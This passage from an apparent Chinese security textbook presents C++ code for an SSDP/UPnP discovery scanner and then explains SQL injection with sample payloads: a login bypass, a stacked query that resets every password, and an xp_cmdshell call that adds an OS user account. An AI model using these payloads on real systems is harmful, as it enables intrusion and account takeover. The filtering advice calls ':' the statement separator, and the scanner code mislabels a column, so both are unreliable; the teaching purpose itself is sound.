只有那些与ST匹配的服务才可能通过SSDP端口给出响应，响应消息应该在发现回复头中表示出服务的地址，同时，响应中还要包括缓存控制信息：有效期。没有缓存控制信息的响应将被视作无效响应。从设备获得响应的内容看，基本上与多址传送的设备广播相同，只是采用单址传送方式。


10.5　编程实例：服务发现扫描器

简单设备发现协议不提供高级的查询功能，也就是说，不能完成某个具有某种服务的设备这样的复合查询。在完成设备或者服务发现之后，控制点可以通过设备或服务描述的URL地址完成更为精确的信息查询。

如前所述，服务发现扫描器不同于其他类的扫描器，其他类扫描器通常都采用的是“扫描→收到结果→分析结果→得出结论”的模式，而服务发现协议机制中，各设备会定时主动向外界发送自身消息，所以采用的是“收到结果→分析结果→得出结论”的模式。因此，即使不扫描，等待一定时间后，同样可以达到扫描的目的。当然，也可以通过采用“扫描→收到结果→分析结果→得出结论”模式加速结果的读取。


 10.5.1　程序主界面

做一个界面如图10.14所示。
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图　10.14　服务发现SSDP扫描器主界面

主界面分为两部分，左边部分是“当前在线根设备”，表示实时扫描到的当前设备。右边又分为四个部分，分别是“组播实时接收”、“根设备查询结果”、“消息包的内容”、“系统命令”分组，分别表示了扫描过程中的数据通信包或控制按钮。功能大致描述如下：

❑在“当前在线根设备”分组框里，实时列出了通过被动监测组播或通过主动扫描根设备而列出的当前所有“根设备”。其中每一个名称的前几位用方括号括起来的符号，如“[91]”，表示该设备的有效期为91秒。在91秒之内如果接到新的“设备在线”消息，则重新修改此值；如果收到“设备退出”消息，则该项被删除；如果一直没有再收到消息，则每隔1秒钟减1，当减为0时，该项被删除。与其他扫描器不同的是，由于以上两个机制，这里的设备是实时的、动态的，不像其他扫描器那样，一旦扫描结束，值是不变的。

❑“组播实时接收”是当前网络中，组播地址：“239.255.255.250:1900”的实时接收状态，其中的“时间”子项表示接收到某一组播时的时间，"IP"、"Port"、“长度”、“内容”4项分别表示在该时刻所接组播包内容的发送者IP地址、发送者端口地址、消息包的长度以及包的内容。在每接收到一个数据包的时候，会在内容中搜索该包是不是一个根设备（UPnP:rootdevice），如果是根设备，则在左边的“当前在线根设备”组框中进行比对，如果发现该设备还没列出，则将该设备加入；如果已列出，则刷新该设备的有效期时间值为100。

❑“根设备查询结果”是当用户单击“系统命令”组框的“扫描根设备”按钮之后，网络中根设备对该查询的响应命令。按SSDP协议，各根设备会将自己的消息以单播的方式回送给查询根设备的控制端。该组框中，每接到一个设备的响应，同样会在左边“当前在线根设备”组框中进行查询，如果没有列出，则新加一个；如果已列出，则刷新该设备的有效期时间值为100。

❑“消息包的内容”是为了方便协议分析而定。凡在“组播实时接收”和“根设备查询结果”组框中，单击某一项，在“消息包的内容”中即会显示出所选项的内容。

❑“扫描根设备”按钮会向组播地址“239.255.255.250:1900”发送一个根设备的“发现请求”消息。如果有设备响应，则设备回复的“发现回复”消息显示在“根设备查询结果”中。“保存组播结果”按钮可以将当前接收到的组播地址结果保存到当前目录下的"LogYYYYmmddHHMMSS.txt"中（YYYY表示4位的年份，mm表示2位的月份，dd表示2位的日，HH表示2位的时，MM表示2位的分，SS表示2位的秒，所有值不足位的前面补“0”）。“清空列表”按钮可以清空“组播实时接收”和“根设备查询结果”中的全部内容。单击“退出系统”按钮即退出系统。


10.5.2　程序代码

按如下步骤创建和设定。

1.创建MFC的程序框架，定义布局和变量

运行Microsoft Visual C++6.0创建一个基于对话框的程序，程序名为SSDPScaner。然后按照主界面的方式布局和设定各控件格局，并依次设定如下变量：
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2.在文件的前面加入必要的声明、定义

在SSDPScanerDlg.h中定义多个文件都要用到的常量。



#include＜Winsock2.h＞

#include＜Ws2tcpip.h＞

#pragma comment(lib,"Ws2_32.lib")

#include＜afxinet.h＞

#define LIST_RECEIVE_TIME 0

#define LIST_RECEIVE_IP 1

#define LIST_RECEIVE_PORT 2

#define LIST_RECEIVE_LEN 3

#define LIST_RECEIVE_CONTENT 4

#define LIST_DEVICE_LABEL 0

#define LIST_DEVICE_NAME 1

#define LIST_DEVICE_IP 2

#define LIST_DEVICE_LEFT 3

#define RECV_PORT 1900

#define UDP_MULTICAST_IP"239.255.255.250"

typedef struct ThreadParamStruct

{

CSSDPScanerDlg*ptr;

CListCtrl*pctlListReceive;

CListCtrl*pctlListDevice;

}THREADPARAM;

THREADPARAM ThreadParam;

UINT ThreadScan(LPVOID pParam);

UINT ThreadListen(LPVOID pParam);

CString ParseMessage(CString strAll,CString strBegin,CString strEnd);

void ReceiveRootNOTIFY(CString strAll,CListCtrl*pctlList,DWORD dwIP);

BOOL g_bRunning;

BOOL g_bSend;



3.程序主要代码



BOOL CSSDPScanerDlg::OnInitDialog()

{

......//由Visual C++在创建时自动生成的代码略

m_ctlListReceiveGroup.InsertColumn(LIST_RECEIVE_TIME,

"时间",LVCFMT_LEFT,60);

m_ctlListReceiveGroup.InsertColumn(LIST_RECEIVE_IP,

"IP",LVCFMT_LEFT,100);

m_ctlListReceiveGroup.InsertColumn(LIST_RECEIVE_PORT,

"PORT",LVCFMT_LEFT,50);

m_ctlListReceiveGroup.InsertColumn(LIST_RECEIVE_LEN,

"长度",LVCFMT_LEFT,40);

m_ctlListReceiveGroup.InsertColumn(LIST_RECEIVE_CONTENT,

"内容",LVCFMT_LEFT,250);

m_ctlListReceiveGroup.SetExtendedStyle(LVS_EX_FULLROWSELECT|

LVS_EX_GRIDLINES);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_TIME,"时间",LVCFMT_LEFT,60);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_IP,"IP",LVCFMT_LEFT,100);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_PORT,"PORT",LVCFMT_LEFT,50);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_LEN,"长度",LVCFMT_LEFT,40);

m_ctlListReceive.InsertColumn(LIST_RECEIVE_CONTENT,"内容",

LVCFMT_LEFT,250);

m_ctlListReceive.SetExtendedStyle(LVS_EX_FULLROWSELECT|

LVS_EX_GRIDLINES);

CWinApp*pApp=(CWinApp*)AfxGetApp();

m_ctlImageList.Create(32,32,ILC_COLOR32|ILC_MASK,9,1);

m_ctlImageList.Add(pApp-＞LoadIcon(IDI_ICON_Device_01));

m_ctlImageList.Add(pApp-＞LoadIcon(IDI_ICON_Device_02));

m_ctlImageList.Add(pApp-＞LoadIcon(IDI_ICON_Device_03));

m_ctlImageList.Add(pApp-＞LoadIcon(IDI_ICON_Device_04));

m_ctlImageList.Add(pApp-＞LoadIcon(IDI_ICON_Device_05));

m_ctlImageList.Add(pApp-＞LoadIcon(IDI_ICON_Device_06));

m_ctlImageList.Add(pApp-＞LoadIcon(IDI_ICON_Device_07));

m_ctlImageList.Add(pApp-＞LoadIcon(IDI_ICON_Device_08));

m_ctlImageList.Add(pApp-＞LoadIcon(IDI_ICON_Device_09));

//设备列表

m_ctlListActive.InsertColumn(LIST_DEVICE_LABEL,"标签名",LVCFMT_LEFT,20);

m_ctlListActive.InsertColumn(LIST_DEVICE_NAME,"设备名",LVCFMT_LEFT,20);

m_ctlListActive.InsertColumn(LIST_DEVICE_LEFT,"剩余时间",LVCFMT_LEFT,0);

m_ctlListActive.SetImageList(＆m_ctlImageList,LVSIL_NORMAL);

WSADATA wsaData;

if(WSAStartup(MAKEWORD(2,1),＆wsaData))

{

return FALSE;

}

g_bRunning=TRUE;

ThreadParam.ptr=this;

ThreadParam.pctlListDevice=＆m_ctlListActive;

ThreadParam.pctlListReceive=＆m_ctlListReceiveGroup;

AfxBeginThread(ThreadScan,＆ThreadParam,THREAD_PRIORITY_IDLE);

Sleep(100);

ThreadParam.pctlListReceive=＆m_ctlListReceive;

AfxBeginThread(ThreadListen,＆ThreadParam,THREAD_PRIORITY_IDLE);

Sleep(100);

SetTimer(1,1000,NULL);

return TRUE;

}

void CSSDPScanerDlg::OnItemchangedLISTReceive(NMHDR*pNMHDR,LRESULT*pResult)

{

NM_LISTVIEW*pNMListView=(NM_LISTVIEW*)pNMHDR;

if(pNMListView-＞uChanged==LVIF_STATE)

{

if(pNMListView-＞uNewState)

{

OnDblclkLISTReceive(pNMHDR,pResult);

}

}

*pResult=0;

}

void CSSDPScanerDlg::OnClickLISTReceive(NMHDR*pNMHDR,LRESULT*pResult)

{

OnDblclkLISTReceive(pNMHDR,pResult);

*pResult=0;

}

void CSSDPScanerDlg::OnDblclkLISTReceive(NMHDR*pNMHDR,LRESULT*pResult)

{

POSITION pos=m_ctlListReceive.GetFirstSelectedItemPosition();

if(pos==NULL)

{

*pResult=0;

return;

}

int index=m_ctlListReceive.GetNextSelectedItem(pos);

UpdateData(TRUE);

m_strContent=m_ctlListReceive.GetItemText(index,LIST_RECEIVE_CONTENT);

UpdateData(FALSE);

*pResult=0;

}

UINT ThreadScan(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CSSDPScanerDlg*ptr=threadparam-＞ptr;//主程序对话框指针

//用于记录结果的CListCtrl控件

CListCtrl*pctlListReceive=threadparam-＞pctlListReceive;

CListCtrl*pctlListDevice=threadparam-＞pctlListDevice;

//创建一个Socket

SOCKET sock=-1;

sock=socket(AF_INET,SOCK_DGRAM,0);

if(sock==SOCKET_ERROR)

{

AfxMessageBox("Error in create listen socket\n");

return-2;

}

int TimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,

(char*)＆TimeOut,sizeof(TimeOut)))

{

AfxMessageBox("Socket recv timeout error.");

return-4;

}

//绑定数据端口

SOCKADDR_IN addr;

addr.sin_family=AF_INET;

addr.sin_port=htons(RECV_PORT);

addr.sin_addr.s_addr=htonl(INADDR_ANY);

const int bReuseAddr=1;

setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(const char*)＆bReuseAddr,

sizeof(bReuseAddr));

if(bind(sock,(SOCKADDR*)＆addr,sizeof(addr))==SOCKET_ERROR)

{

AfxMessageBox("error in bind the listen socket\n");

return-3;

}

//加入组播

struct ip_mreq mreq;

printf("JoinGroup:%s\n",UDP_MULTICAST_IP);

mreq.imr_multiaddr.s_addr=inet_addr(UDP_MULTICAST_IP);

mreq.imr_interface.s_addr=htonl(INADDR_ANY);

if(setsockopt(sock,IPPROTO_IP,IP_ADD_MEMBERSHIP,(char*)＆mreq,

sizeof(struct ip_mreq))＜0)

{

AfxMessageBox("error in join in group\n");

return-1;

}

//接收数据过程

char szBuf[6*1000]={0};

int nRecvSize=0;

SOCKADDR_IN addrFrom;

int nLen=sizeof(struct sockaddr_in);

while(g_bRunning)

{

//接收网络上的数据

memset((char*)szBuf,0,6*1000);

nRecvSize=recvfrom(sock,szBuf,sizeof(szBuf),0,

(struct sockaddr*)＆addrFrom,＆nLen);

CString strContent;

if(nRecvSize＞0)

{

//显示IP地址信息

CString strTemp;

CTime time=CTime::GetCurrentTime();

strContent.Format("%s",szBuf);

pctlListReceive-＞InsertItem(0,time.Format("%H:%M:%S"));

pctlListReceive-＞SetItemText(0,LIST_RECEIVE_CONTENT,strContent);

DWORD dwIP=(DWORD)htonl(addrFrom.sin_addr.S_un.S_addr);

pctlListReceive-＞SetItemText(0,LIST_RECEIVE_IP,ptr-＞IPDwordToStr(dwIP));

strTemp.Format("%d",nRecvSize);

pctlListReceive-＞SetItemText(0,LIST_RECEIVE_LEN,strTemp);

strTemp.Format("%d",ntohs(addrFrom.sin_port));

pctlListReceive-＞SetItemText(0,LIST_RECEIVE_PORT,strTemp);

if(strContent.Find("UPnP:rootdevice")＞=0)

{

ReceiveRootNOTIFY(strContent,pctlListDevice,dwIP);

}

}//if(nRecvSize＞0)

//Sleep(10);

}//while

//退出组播

if(setsockopt(sock,IPPROTO_IP,IP_DROP_MEMBERSHIP,(char*)＆mreq,

sizeof(struct ip_mreq))＜0)

{

AfxMessageBox("error in join in group\n");

return-1;

}

shutdown(sock,2);

closesocket(sock);

return 0;

}

void ReceiveRootNOTIFY(CString strAll,CListCtrl*pctlList,DWORD dwIP)

{

BOOL bFind=FALSE;

int iCount=pctlList-＞GetItemCount();

for(int ac=0;ac＜iCount;ac++)

{

if(pctlList-＞GetItemData(ac)==dwIP)

{

if(strAll.Find("NOTIFY")＞=0)

{

if(strAll.Find("ssdp:alive")＞=0)

pctlList-＞SetItemText(ac,LIST_DEVICE_LEFT,"100");

if(strAll.Find("ssdp:byebye")＞=0)

{

pctlList-＞DeleteItem(ac);

ac--;

}

}

if(strAll.Find("200 OK")＞=0)

{

pctlList-＞SetItemText(ac,LIST_DEVICE_LEFT,"100");

}

bFind=TRUE;

break;

}

}

if(!bFind)

{

pctlList-＞InsertItem(ac,"新设备",ac%9);

pctlList-＞SetItemData(ac,dwIP);

pctlList-＞SetItemText(ac,LIST_DEVICE_NAME,ParseMessage(strAll,"SERVER:","\r\n"));

pctlList-＞SetItemText(ac,LIST_DEVICE_IP,IPDwordToStr(dwIP));

pctlList-＞SetItemText(ac,LIST_DEVICE_LEFT,"100");

}

}

CString ParseMessage(CString strAll,CString strBegin,CString strEnd)

{

CString strAllOld=strAll;

strAll.MakeUpper();

strBegin.MakeUpper();

strEnd.MakeUpper();

CString strRet;

int pBegin=strAll.Find(strBegin,0);

if(pBegin＜0)

return strRet;

pBegin+=strBegin.GetLength();

int pEnd=strAll.Find(strEnd,pBegin);

if(pEnd＜0)

return strRet;

strRet=strAllOld.Mid(pBegin,pEnd-pBegin);

return strRet;

}

void CSSDPScanerDlg::OnBUTTONSave()

{

CFile file;

CTime time=CTime::GetCurrentTime();

CString strFilename;

strFilename.Format("Log%s.txt",time.Format("%Y%m%d%H%M%S"));

file.Open(strFilename,CFile::modeCreate|CFile::modeReadWrite);

int cnt=m_ctlListReceiveGroup.GetItemCount();

for(int i=0;i＜cnt;i++)

{

CString strTemp;

strTemp.Format("----------------------%s----------------------\r\n",

m_ctlListReceiveGroup.GetItemText(i,LIST_RECEIVE_TIME));

file.Write(strTemp,strTemp.GetLength());

strTemp.Format("%s\r\n\r\n",

m_ctlListReceiveGroup.GetItemText(i,LIST_RECEIVE_CONTENT));

file.Write(strTemp,strTemp.GetLength());

}

file.Close();

ShellExecute(NULL,"open",strFilename,NULL,NULL,SW_SHOW);

}

void CSSDPScanerDlg::OnBUTTONClear()

{

m_ctlListReceiveGroup.DeleteAllItems();

m_ctlListReceive.DeleteAllItems();

}

void CSSDPScanerDlg::OnBUTTONSearch()

{

g_bSend=TRUE;

return;

}

UINT ThreadListen(LPVOID pParam)

{

THREADPARAM*threadparam=(THREADPARAM*)pParam;

CSSDPScanerDlg*ptr=threadparam-＞ptr;//主程序对话框指针

CListCtrl*pctlListReceive=threadparam-＞pctlListReceive;//用于记录结果

CListCtrl*pctlListDevice=threadparam-＞pctlListDevice;

//创建一个Socket

SOCKET sock=-1;

sock=socket(AF_INET,SOCK_DGRAM,0);

if(sock==SOCKET_ERROR)

{

AfxMessageBox("Error in create listen socket\n");

return-2;

}

int TimeOut=1000;

if(setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,

(char*)＆TimeOut,sizeof(TimeOut)))

{

AfxMessageBox("Socket recv timeout error.");

shutdown(sock,2);

closesocket(sock);

return-4;

}

//绑定数据端口

SOCKADDR_IN addr;

addr.sin_family=AF_INET;

addr.sin_port=htons(23456);

addr.sin_addr.s_addr=htonl(INADDR_ANY);

if(bind(sock,(SOCKADDR*)＆addr,sizeof(addr))==SOCKET_ERROR)

{

AfxMessageBox("error in bind socket\n");

shutdown(sock,2);

closesocket(sock);

return-3;

}

//接收数据过程

char szBuf[6*1000]={0};

int nRecvSize=0;

SOCKADDR_IN addrFrom;

int nLen=sizeof(struct sockaddr_in);

int cnt=0;

while(g_bRunning)//＆＆cnt＜60)

{

cnt++;

//接收网络上的数据

memset((char*)szBuf,0,6*1000);

nRecvSize=recvfrom(sock,szBuf,sizeof(szBuf),0,

(struct sockaddr*)＆addrFrom,＆nLen);

if(nRecvSize＞0)

{

//显示IP地址信息

CString strTemp,strContent;

CTime time=CTime::GetCurrentTime();

strContent.Format("%s",szBuf);

pctlListReceive-＞InsertItem(0,time.Format("%H:%M:%S"));

pctlListReceive-＞SetItemText(0,LIST_RECEIVE_CONTENT,strContent);

strTemp.Format("%d",addrFrom.sin_port);

DWORD dwIP=(DWORD)htonl(addrFrom.sin_addr.S_un.S_addr);

pctlListReceive-＞SetItemText(0,LIST_RECEIVE_IP,ptr-＞IPDwordToStr(dwIP));

strTemp.Format("%d",ntohs(addrFrom.sin_port));

strTemp.Format("%d",nRecvSize);

pctlListReceive-＞SetItemText(0,LIST_RECEIVE_LEN,strTemp);

pctlListReceive-＞SetItemText(0,LIST_RECEIVE_PORT,strTemp);

if(strContent.Find("UPnP:rootdevice")＞=0)

{

ReceiveRootNOTIFY(strContent,pctlListDevice,dwIP);

}

}

if(g_bSend)

{

g_bSend=FALSE;

CString strSearch;

strSearch="M-SEARCH*HTTP/1.1\r\n";

strSearch+="HOST:239.255.255.250:1900\r\n";

strSearch+="MAN:\"ssdp:discover\"\r\n";

strSearch+="MX:3\r\n";

strSearch+="ST:UPnP:rootdevice\r\n";

//strSearch+="ST:ssdp:all\r\n";

//strSearch+="Control-Point:192.168.1.101:32455:5\r\n";

strSearch+="\r\n";//注意这个空行不能少

SOCKADDR_IN addrTo;

addrTo.sin_family=AF_INET;

addrTo.sin_port=htons(RECV_PORT);

addrTo.sin_addr.s_addr=inet_addr(UDP_MULTICAST_IP);

sendto(sock,strSearch.GetBuffer(0),strSearch.GetLength(),0,

(SOCKADDR*)＆addrTo,sizeof(addrTo));

}

}

shutdown(sock,2);

closesocket(sock);

AfxMessageBox("quit\n");

return 0;

}

void CSSDPScanerDlg::OnClickLISTReceiveGroup(NMHDR*pNMHDR,LRESULT*pResult)

{

POSITION pos=m_ctlListReceiveGroup.GetFirstSelectedItemPosition();

if(pos==NULL)

{

*pResult=0;

return;

}

int index=m_ctlListReceiveGroup.GetNextSelectedItem(pos);

UpdateData(TRUE);

m_strContent=m_ctlListReceiveGroup.GetItemText(index,LIST_RECEIVE_CONTENT);

UpdateData(FALSE);

*pResult=0;

}

void CSSDPScanerDlg::OnDblclkLISTReceiveGroup(NMHDR*pNMHDR,

LRESULT*pResult)

{

OnClickLISTReceiveGroup(pNMHDR,pResult);

*pResult=0;

}

void CSSDPScanerDlg::OnItemchangedLISTReceiveGroup(NMHDR*pNMHDR,

LRESULT*pResult)

{

NM_LISTVIEW*pNMListView=(NM_LISTVIEW*)pNMHDR;

OnClickLISTReceiveGroup(pNMHDR,pResult);

*pResult=0;

}

void CSSDPScanerDlg::OnBUTTONDownload()

{

//创建一个会话，由此会话建立一个连接，并且通过文件的方式进行读写

CString fileURL;

fileURL.Format("WWW Download");

CInternetSession iSession(fileURL);//建立的会话

CHttpFile*pFile=NULL;//用于读写的文件

try

{

fileURL.Format("http://172.20.1.1:1900/igd.xml");//生成URL

pFile=(CHttpFile*)iSession.OpenURL(fileURL);//打开文件

if(pFile!=NULL)

{

char buff[6*1000];//读取缓冲区

CFile file;

file.Open("igd.xml",CFile::modeCreate|CFile::modeReadWrite,NULL);

//打开文件，不管是什么文件，随便读取几个字节

int len=pFile-＞Read((char*)buff,1000);

while(len＞0)

{

//只要读取内容，则认为对方提供WWW服务

file.Write((char*)buff,len);

len=pFile-＞Read((char*)buff,1000);

}

pFile-＞Close();//关闭文件句柄

file.Close();

}

iSession.Close();//关闭会话

}

//处理读写中出现的异常

catch(CInternetException*ex)

{

CString strTemp;

strTemp.Format("读写出错（错误码：%d），请重新扫描。",ex-＞m_dwError);

MessageBox(strTemp);

}

}

void CSSDPScanerDlg::OnTimer(UINT nIDEvent)

{

//定时器，一般通过nIDEvent区分不同定时器

switch(nIDEvent)

{

case 1://

{

int iCount=m_ctlListActive.GetItemCount();

for(int ac=0;ac＜iCount;ac++)

{

int iSceondLeft=atoi(m_ctlListActive.GetItemText(ac,

LIST_DEVICE_LEFT));

if(iSceondLeft＜=0)

{

m_ctlListActive.DeleteItem(ac);

ac--;break;

}

else

{

CString strLabel;

strLabel.Format("[%d]%s",iSceondLeft,

m_ctlListActive.GetItemText(ac,LIST_DEVICE_NAME));

m_ctlListActive.SetItemText(ac,LIST_DEVICE_LABEL,strLabel);

strLabel.Format("%d",iSceondLeft-1);

m_ctlListActive.SetItemText(ac,LIST_DEVICE_LEFT,strLabel);

}

}

}

break;

default:break;

}

CDialog::OnTimer(nIDEvent);

}




第11章　漏洞扫描器的设计

漏洞是系统设计或编程实现时，因考虑不周到而导致的系统异常。对于编程实现时的漏洞，会因不同的操作系统、不同的开发团队、不同的版本而不同。一般同一系统，开发团队会在发现漏洞后通过版本升级进行修正，所以越往后期的版本，安全性越高。对于设计时的漏洞，则很难修改，只能通过整个架构升级时统一进行一次更替。

本章涉及的技术是大杂烩，没有一种统一的技术归类，只是从功能划分上，都属于对漏洞的扫描或都具有一定的攻击性。在第1章最后，列举了当前网络安全中，仍然存在并很具有危害性的几类常见的漏洞，本章也正是针对这些目前仍然广泛存在，对网络安全具有很大危害性的、设计类的错误进行分析，并通过扫描器进行验证。

注入式漏洞扫描器是利用目前很多B/S结构的程序中，对输入的内容检查不严格，会导致一些异态数据注入系统，这些异态数据正好跟SQL语句组成合法的但不符合设计者本意的命令，从而达到了绕过系统原始的设计，甚至达到攻击系统的目的。

主机弱密码扫描是一种专门针对主机密码进行破解的系统，其原理就是很多系统的连接需要用户名和密码，在知道用户名的前提下，如果密码正确，则认证的API返回正确，否则返回错误，根据这一原理可以通过穷举密码或字典式依次尝试各个密码，直到尝试成功。密码穷举是一个可以应用于任意认证系统的攻击方式，但由于穷举空间极大，故在实战中，只对弱密码有效。

DOS/DDOS攻击是一种通过耗尽对方资源以达到其无法向其他用户提供正常服务的攻击，这种攻击方式，虽然攻击者得不到明显的好处，但对于被攻击者危害性极大。

明文密码嗅探与服务发现扫描器类似，这是一种“不向外界主动通信，只是通过静等数据主动送上门”的方式，只要这种扫描器放置合适的位置，就可以监听其他主机登录时的明文密码，也是极具威胁性的一种黑客工具。

端口对照并没有新的技术，只是在扫描到“开”状态的端口后，在端口字典中查找什么服务、病毒或程序经常使用此端口，给扫描者一个初步的参考。


 11.1　注入式漏洞扫描器

注入式攻击（Inject Attack）主要是利用系统中某一模块或组件的设计约定、语法约定等特点，采用组成新的合法设计、合法语法获得新的解释来进行攻击。由于新的解释中，有一部分内容根本不是程序设计者的原意，这部分是被攻击者在原意基础上新注入的，故称为注入式攻击。

注入式攻击轻则使某一功能失效；重则使攻击者绕过了某个安全认证体系，提升了权限，从而具有更大权限的功能，进而控制整个主机系统。因此极具危险性。这种方式既可能存在于B/S模式，又可能存在于C/S模式中，也可能存在于单机的某程序中，由于采用B/S模式攻击主机的系统操作比较相似，通用性较强，因此很多注入式攻击的介绍都偏重于介绍B/S；而C/S模式或单机程序中，由于程序各异、操作差别较大，不具有通用性，并且要用户自己捕捉攻击特征，因此介绍的比较少。


 11.1.1　SQL注入式攻击原理

SQL（Structed Query Language，结构化查询语言）是目前关系数据库的操作标准，几乎所有主流数据库都支持SQL语言，并且每个数据库还根据自己的特点进行了扩充。

例如下面的SQL语句：



select*from T_USER where username='张三'



该语句将查出数据库表T_USER中，记录中username为“张三”的所有字段。如果语句中的“张三”不是固定的常量，而是用户输入的内容，则通常情况下，该语句将会查出数据库中T_USER表中，username为所输入的那个人的所有字段。但如果用户输入的内容是"1'or'1'='1"（全角双引号不属于输入内容，后同），则SQL语句变成了：



select*from T_USER where username='1'or'1'='1'



因为“'1'='1'”是永真式（即恒等于TRUE的表达式），而与永真式进行“逻辑或（OR）”操作的，还是永真式。所以这时，本应是条件表达式的SQL语句，变成了一个永真式，从而列的不再是username叫“1”的这个记录内容，而是T_USER表中记录的所有内容。

在这个例子中，后一种输入方式正是利用了SQL语言的语法特点，将一个逻辑式转变为一个逻辑表达式“逻辑或”一个永真式，而逻辑表达式“逻辑或”一个永真式仍为永真式，从而导致原来的条件查询失效。由于这种方式像是在一个式子中“注入”了一个SQL表达式，故称此方式为SQL注入式攻击。

在实际的应用中，该现象是普遍存在的，几乎遍及所有程序，只是由于大多数情况下，该系统是否构成攻击要看具体情况，因此更多地把这种问题归为程序设计的BUG（是指程序设计的错误），而没有列为攻击方式。近几年，基于B/S的架构随着网络的普及而大行其道，这种攻击方式被广泛使用，并且很有市场。之所以称之为“攻击”，是因为使用这种攻击方式，可以做到的事情如下：

1）使程序出错或崩溃，影响正常使用。如在输入电话号码的时候故意输入一些汉字或字母，可能会导致出错，从而影响后继用户的使用。例如上面例子，如果输入的内容只有一个单引号“'”号，则式子变成



select*from T_USER where username='''



这会导致SQL语句出错，如果编程人员没有进行容错的判断，则会弹出出错信息，影响使用。

2）绕过权限认证机制，成为合法用户。在有授权的机构中，通过条件式判断用户是否为合法用户，但通过注入方式，使条件式变成了永真式，从而绕过判断机制进入系统。例如：



select*from T_USER where username='A'and password='B'（A，B都表示要输入的内容）



在上例中，只有同时正确输入一个T_USER表中的username字段和password字段的内容的时候，才能查询到记录，但如果将A输入为"1'or('1'="，B输入为")or'1'='1"，则整条SQL语句变成了：



select*from T_USER where username='1'or('1'='and password=')or'1'='1'



上面式子同样成为了一个永真式。如果该语句在系统中的作用是用来判断用户是否合法用户的，则通过这种注入，就可以在不知道系统用户名和密码的情况下，被获准通过，从而进入系统。

再如：



update T_USER set age=A where username='张三'（A表示要输入的内容）



上面的SQL语句可以将T_USER表中的username字段为“张三”的用户的age修改为所输入的值A，例如，用户输入“15”，则张三的age改为了15。但如果用户在输入A的时候，输入的内容为"15,password='abc'"，则整条SQL语句变成了：



update T_USER set age=15,password='abc'where username='张三'



上面式子同样是一个合法的SQL语句，并且该语句除了将“张三”的age变成了15之外，还将其password改成了"abc"。如果T_USER是一个系统登录用户的表，则攻击者等于以后可以合法地通过新改的用户名和密码进入系统中。

3）通过系统自身提供的命令，非法查询或修改系统中当前用户无权查询和修改的数据，在一些数据库系统中，在命令提交时，为了提高效率，允许用户一次提交多个命令，而多个命令之间通过特定的符号隔开。如Microsoft SQL Server就允许用户一次性提交由“;”隔开的多个命令。这种方便，同时也给了注入式攻击者以可乘之机。

例如：



select*from T_USER where age=A（A表示要输入的内容）（*）



该语句将查出数据库表T_USER中，所有字段age为所输入值的所有记录，例如输入15，则将列出所有age为15的记录。但如果用户输入的是"15;update T_USER set password='abc'"，则整条语句变成了：



select*from T_USER where age=15;update T_USER set password='abc'



这等价于两条语句依次执行。其中第二条语句会把所有用户的密码都改成"abc"。这种方式等价于注入者可以执行任意合法的SQL语句，其危害性更大。

4）通过系统提供的Shell功能，非法运行操作系统级的命令，对用户直接进行操作系统级的命令。在Windows系列操作系统中，Shell通常是通过command.com（Windows 95/98及以前）或cmd.exe（Windows 2000/xp及以后）实现的，在Shell中运行命令，相当于直接在操作系统中执行程序。在一些数据库中，为了使用户的程序更具有灵活性，允许用户通过数据库提供的功能调用操作系统内部或外部命令，与前面两种攻击专用系统不同，这种攻击方式才是真正意义上的对操作系统的攻击，极具危险性，在Microsoft SQL Server中就提供有xp_cmdshell命令，完成Shell的功能。

例如：以上述标（*）的表达式为例，如果用户输入的是"15;exec master..xp_cmdshell"net user aaa bbb/add"，则整条语句变成了：



select*from T_USER where age=15;exec master..xp_cmdshell"net user aaa bbb/add"



这等价于两条语句依次执行。其中第二条语句相当于直接执行了Shell命令，即等价于在Windows命令行中执行"net user aaa bbb/add"命令，该命令是在操作系统中增加一个用户名为aaa，密码为bbb的用户。这种方式等价于注入者可以执行任意合法的操作系统命令，其危害性最大，相当于用户随后便可以用新增的用户身份进入系统中，进行任意的操作。


11.1.2　注入式攻击的局限性

注入式攻击体现在实战上，主要是取决于用户界面上输入框的位置和输入的方法，由于编程语言、程序员的编程习惯、实际的应用要求等不同，所以做出来的效果各异，因而也没有通用的方式，故这种攻击方式虽然很有效，但在漏洞扫描领域并没有太大的市场。只是当动态B/S+数据库结构广泛流行时，由B/S结构中可以通过URL传递参数，而这些参数又会传给数据库进行处理，二者之间互相视对方为信任方，正是这种无条件的信任导致漏洞出现，使这种攻击方式才峰回路转，得到极大的推广。即使这样，注入式攻击仍有很多局限性，如：

1）系统设计各异，使得虽然攻击的方式很明确，但因设计不同，而不得手工一个个地试，没有放之四海而皆准的方法，虽然通过对上述概念及方法的理解，结合本书各章节中介绍的扫描器设计技巧，也可以编写出一个“注入漏洞”扫描器，但该扫描器的通用性不强，可行性也需要通过大量的配置才能实现，这相当于用户直接通过手工去试。

2）该系统严重依赖于系统对设计约定和语法约定的支持程度，如某个网站发布到两个网站上，所有代码、参数配置都相同，唯一不同的是一个系统数据库使用的是Microsoft SQL Server，而另一个系统使用的数据库是Microsoft Access，则在前者上可行的注入方法，后者不一定可行；反之也一样。

3）就实战来说，目前比较通用的注入式攻击主要还仅限于支持SQL的关系数据库方面，并且绝大多数只能应用于基于浏览器架构的B/S模式中，对于C/S模式或单机程序等模式中，还没有通用的方式。


11.1.3　单机模式或C/S模式的攻击

如前所述，单机模式和C/S模式下，同样存在这样原攻击方式，只是因为程序界面，程序编程各异，所以没有通用的方式。

下面以一个演示程序为例进行说明，界面设计如图11.1所示。
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图　11.1　单机注入式攻击主界面

在该系统中，有两个用户，用户名、密码、级别等信息如图上所示，正常情况下，登录时，输入正确的用户名和密码，才能登录进入系统。但为了验证注入式攻击，我们下面假设在既不知道用户名，也不知道密码的前提下进行攻击。单击“测试注入式”按钮，则弹出登录界面，如图11.2所示。
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图　11.2　单机注入式攻击登录界面

在该界面中，正确输入图11.1中的两个用户中任意一个用户的用户名和密码，单击“登录系统”按钮都可成功登录。如果用户名或密码不正确，则会报用户名或密码错误。

如果用户选择了“避免注入”，则可以通过过滤一定的字符来使用户SQL注入无效，通常是过滤掉如下字符：

·半角单引号“'”：构成SQL语句中的字符串边界符，甚至导致出错

·半角冒号“:”：构成SQL中两个语句的分隔符

